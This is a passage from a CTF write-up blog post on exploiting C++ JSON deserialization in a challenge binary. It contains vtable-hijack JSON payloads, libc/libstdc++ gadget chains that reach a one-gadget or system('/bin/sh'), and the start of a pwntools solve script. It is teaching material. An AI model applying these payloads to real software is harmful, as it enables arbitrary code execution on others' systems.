&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Output of &lt;code&gt;xgadget --reg-overwrite r12 --jop /usr/lib/x86_64-linux-gnu/libstdc++.so.6&lt;/code&gt;. We found a useful &lt;code&gt;mov r12, rsi&lt;/code&gt; gadget which sets &lt;code&gt;r12&lt;/code&gt; to 0. Additionally, the gadget will go to &lt;code&gt;[rax+0x10]&lt;/code&gt; meaning we can place another gadget at the &lt;code&gt;+0x10&lt;/code&gt; offset to continue the chain.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;After a while, we ended up with two simple gadgets from &lt;code&gt;libstdc++&lt;/code&gt;. Constructing the final payload is simply a matter of cooking congee with the right ingredients:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;vptr_hijack_json&quot; class=&quot;language-json&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;value0&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Congee&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;ptr_wrapper&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2147483649&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;token property&quot;&gt;&quot;ingredients&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;value0&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; %d&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Control the vpointer&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;value1&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; %d&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Rest of the payload, gadgets, etc...&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;value2&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; %d&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// ...&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;value3&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; %d&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// ...&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;value4&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;value5&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;value6&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                    &lt;span class=&quot;token property&quot;&gt;&quot;value7&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
                &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;value1&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Toast&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;polymorphic_id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1073741824&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;ptr_wrapper&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Refer to the Congee object&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;value2&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Fruit (unused)&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;// ...&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;vptr_hijack_json&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;JSON&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Congee Ingredients:&lt;/p&gt;
&lt;div class=&quot;table-container &quot;&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x00&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;address of Congee + &lt;code&gt;0x08&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;vpointer, points to offset &lt;code&gt;0x08&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x08&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;libstdcpp + 0xf0a0c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;first gadget, &lt;code&gt;mov r12, rsi; call qword ptr [rax+0x10];&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x10&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;libstdcpp + 0xf5e83&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;second gadget, &lt;code&gt;mov rbx, rsi; ... call qword ptr [rax+0x18];&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x18&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;libc + 0xef4ce&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;one-gadget, sweet sweet code execution!&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;The gadget flow is extremely straightforward:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;VTable is at Congee address + &lt;code&gt;0x08&lt;/code&gt; →&lt;/li&gt;
&lt;li&gt;gadget at &lt;code&gt;0x08&lt;/code&gt; (set &lt;code&gt;r12&lt;/code&gt; to 0) →&lt;/li&gt;
&lt;li&gt;gadget at &lt;code&gt;0x10&lt;/code&gt; (set &lt;code&gt;rbx&lt;/code&gt; to 0) →&lt;/li&gt;
&lt;li&gt;gadget at &lt;code&gt;0x18&lt;/code&gt; (one-gadget ACE).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Putting it all together, we get ACE.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_full_script_demo-760w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-50&quot; src=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_full_script_demo-760w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 760 / 742&quot; alt=&quot;&quot; title=&quot;&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_full_script_demo-256w.webp 256w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_full_script_demo-512w.webp 512w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_full_script_demo-760w.webp 760w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 760px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;approach-2-system-bin-sh-gadget-chain&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#approach-2-system-bin-sh-gadget-chain&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Approach 2: &lt;code&gt;system(&amp;quot;/bin/sh&amp;quot;)&lt;/code&gt; Gadget Chain&lt;/h3&gt;
&lt;p&gt;Credit: Adapted from @erge’s and @lolc4t’s solutions.&lt;/p&gt;
&lt;p&gt;I&#39;m sure this gadget chain feels closer to home for ROPpers. The chain works by setting &lt;code&gt;rdi&lt;/code&gt; to &lt;code&gt;&amp;quot;/bin/sh&amp;quot;&lt;/code&gt; and calling the &lt;code&gt;system&lt;/code&gt; function. Despite the need for 6 quads in Congee, I find the chain rather fascinating as it condenses multiple steps into 2 clever gadgets.&lt;/p&gt;
&lt;p&gt;Another nice aspect about this chain is that it does not rely on too much register state, only &lt;code&gt;rax&lt;/code&gt; and &lt;code&gt;rdi&lt;/code&gt; are used. (The libstdc++ and one-gadget chain rely on &lt;code&gt;rsi = 0&lt;/code&gt; which may not always be the case.)&lt;/p&gt;
&lt;p&gt;Congee Ingredients:&lt;/p&gt;
&lt;div class=&quot;table-container &quot;&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x00&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;address of Congee + &lt;code&gt;0x10&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;vpointer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x08&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;address of Congee + &lt;code&gt;0x18&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;address of [system, binsh, gadget2] structure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x10&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;libc + 0x1740b1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;first gadget, &lt;code&gt;mov rax, [rdi+8]; call [rax+0x10]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x18&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;system&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;sweet sweet code execution!&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x20&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;&amp;quot;/bin/sh&amp;quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;address of any &lt;code&gt;/bin/sh&lt;/code&gt; string&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x28&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;libc + 0xa5688&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;second gadget, &lt;code&gt;mov rdi, [rax+8]; call [rax]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;Here&#39;s the call flow:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;VTable is at Congee address + &lt;code&gt;0x10&lt;/code&gt; →&lt;/li&gt;
&lt;li&gt;gadget at &lt;code&gt;0x10&lt;/code&gt; (set &lt;code&gt;rax&lt;/code&gt; to &lt;code&gt;*(rdi+0x08)&lt;/code&gt;, i.e. the second Congee entry, or in other words: &lt;code&gt;rax = rax + 0x18&lt;/code&gt;) →&lt;/li&gt;
&lt;li&gt;gadget at &lt;code&gt;0x28&lt;/code&gt; (set &lt;code&gt;rdi&lt;/code&gt; to &lt;code&gt;&amp;quot;/bin/sh&amp;quot;&lt;/code&gt;) →&lt;/li&gt;
&lt;li&gt;gadget at &lt;code&gt;0x18&lt;/code&gt; (&lt;code&gt;system&lt;/code&gt; ACE).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To make this gadget chain work, we require the system, binsh, and &lt;code&gt;0xa5688&lt;/code&gt; gadget to be &lt;strong&gt;contiguous in memory&lt;/strong&gt;. This is because after &lt;code&gt;mov rax&lt;/code&gt; in the first gadget, the subsequent assembly will &lt;code&gt;call [rax+0x10]&lt;/code&gt;, which triggers the second gadget to copy &lt;code&gt;[rax+0x08]&lt;/code&gt; before &lt;code&gt;call [rax]&lt;/code&gt;. Each entry in this relative &lt;code&gt;+0x10&lt;/code&gt;, &lt;code&gt;+0x08&lt;/code&gt;, and &lt;code&gt;+0x00&lt;/code&gt; structure has their unique role to play.&lt;/p&gt;
&lt;p&gt;The order of the other gadgets don’t matter as much. Here’s one of the solves from the CTF community. Notice how the first gadget (&lt;code&gt;libc + 0x1740b1&lt;/code&gt;) is placed at the end of the Congee payload instead of at offset &lt;code&gt;0x10&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token string&quot;&gt;&#39;ingredients&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token string&quot;&gt;&#39;value0&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; target_addr &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x38&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# &amp;lt;-- target_addr, rax, rdi&lt;/span&gt;
	&lt;span class=&quot;token string&quot;&gt;&#39;value1&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; target_addr &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
	&lt;span class=&quot;token string&quot;&gt;&#39;value2&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; libc&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;system&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
	&lt;span class=&quot;token string&quot;&gt;&#39;value3&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;libc&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;search&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&#39;/bin/sh&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
	&lt;span class=&quot;token string&quot;&gt;&#39;value4&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; libc_base &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xa5688&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# mov rdi, [rax+8]; call [rax]&lt;/span&gt;
	&lt;span class=&quot;token string&quot;&gt;&#39;value5&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x4646464646464646&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
	&lt;span class=&quot;token string&quot;&gt;&#39;value6&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x4747474747474747&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
	&lt;span class=&quot;token string&quot;&gt;&#39;value7&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; libc_base &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x1740b1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# mov rax, [rdi+8]; call [rax+0x10]&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Alternative solution by @lolc4t.&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#conclusion&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Conclusion&lt;/h2&gt;
&lt;p&gt;This was an interest challenge to make as it helped refresh my binary exploitation skills despite me sucking at pwn challenges. I was also happy that players came up with different solutions, challenging my biases on what makes a successful gadget chain.&lt;/p&gt;
&lt;p&gt;Overall, this has been a fun experience exploring and exploiting a niche use case of C++ serialization libraries. I have a few variant challenges I might present in future CTFs. We&#39;ll see if they make it out.&lt;/p&gt;
&lt;p&gt;Special thanks to &lt;a href=&quot;https://www.thehackerscrew.team/&quot;&gt;thehackerscrew CTF team&lt;/a&gt; for hosting my CTF challenge and to the players who opened my mind by sharing their solves.&lt;/p&gt;
&lt;p&gt;&lt;a id=&quot;logical-end-of-article&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;solve-script&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#solve-script&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Solve Script&lt;/h2&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; pwn &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; re

&lt;span class=&quot;token comment&quot;&gt;# context.log_level = &#39;debug&#39;&lt;/span&gt;
p &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; process&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;breakfast&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
e &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ELF&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;breakfast&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
libc &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ELF&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;/usr/lib/x86_64-linux-gnu/libc.so.6&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
libcpp &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ELF&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;/usr/lib/x86_64-linux-gnu/libstdc++.so.6&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

vtable_leak_json &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;{
    &quot;value0&quot;: {
        &quot;ptr_wrapper&quot;: {
            &quot;id&quot;: 2147483649,
            &quot;data&quot;: {
                &quot;ingredients&quot;: {
                    &quot;value0&quot;: 0,
                    &quot;value1&quot;: 0,
                    &quot;value2&quot;: 0,
                    &quot;value3&quot;: 0,
                    &quot;value4&quot;: 0,
                    &quot;value5&quot;: 0,
                    &quot;value6&quot;: 0,
                    &quot;value7&quot;: 0
                }
            }
        }
    },
    &quot;value1&quot;: {
        &quot;polymorphic_id&quot;: 1073741824,
        &quot;ptr_wrapper&quot;: {
            &quot;id&quot;: 2147483650,
            &quot;data&quot;: {
                &quot;spread&quot;: 8
            }
        }
    },
    &quot;value2&quot;: {
        &quot;ptr_wrapper&quot;: {
            &quot;id&quot;: 2
        }
    }
}&quot;&quot;&quot;&lt;/span&gt;

mem_read_json &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;{
    &quot;value0&quot;: {
        &quot;ptr_wrapper&quot;: {
            &quot;id&quot;: 2147483649,
            &quot;data&quot;: {
                &quot;ingredients&quot;: {
                    &quot;value0&quot;: %d,
                    &quot;value1&quot;: %d,
                    &quot;value2&quot;: %d,
                    &quot;value3&quot;: 0,
                    &quot;value4&quot;: 0,
                    &quot;value5&quot;: 0,
                    &quot;value6&quot;: 0,
                    &quot;value7&quot;: 0
                }
            }
        }
    },
    &quot;value1&quot;: {
        &quot;polymorphic_id&quot;: 1073741824,
        &quot;ptr_wrapper&quot;: {
            &quot;id&quot;: 2147483650,
            &quot;data&quot;: {
                &quot;spread&quot;: 0
            }
        }
    },
    &quot;value2&quot;: {
        &quot;ptr_wrapper&quot;: {
            &quot;id&quot;: 1
        }
    }
}&quot;&quot;&quot;&lt;/span&gt;

vptr_hijack_json &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;{
    &quot;value0&quot;: {
        &quot;ptr_wrapper&quot;: {
            &quot;id&quot;: 2147483649,
            &quot;data&quot;: {
                &quot;ingredients&quot;: {
                    &quot;value0&quot;: %d,
                    &quot;value1&quot;: %d,
                    &quot;value2&quot;: %d,
                    &quot;value3&quot;: %d,
                    &quot;value4&quot;: %d,
                    &quot;value5&quot;: %d,
                    &quot;value6&quot;: 0,
                    &quot;value7&quot;: 0
                }
            }
        }
    },
    &quot;value1&quot;: {
        &quot;polymorphic_id&quot;: 1073741824,
        &quot;ptr_wrapper&quot;: {
            &quot;id&quot;: 1
        }
    },
    &quot;value2&quot;: {
        &quot;ptr_wrapper&quot;: {
            &quot;id&quot;: 2147483650,
            &quot;data&quot;: {
                &quot;name&quot;: &quot;Apple&quot;
            }
        }
    }
}&quot;&quot;&quot;&lt;/span&gt;


&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;send_json&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;contents&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; skip_output&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    line &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; re&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sub&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;r&#39;&#92;s+&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; contents&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendline&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;line&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; skip_output&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;
    
    &lt;span class=&quot;token comment&quot;&gt;# Parse output....&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;recvuntil&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&#39;&#92;nc: &#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
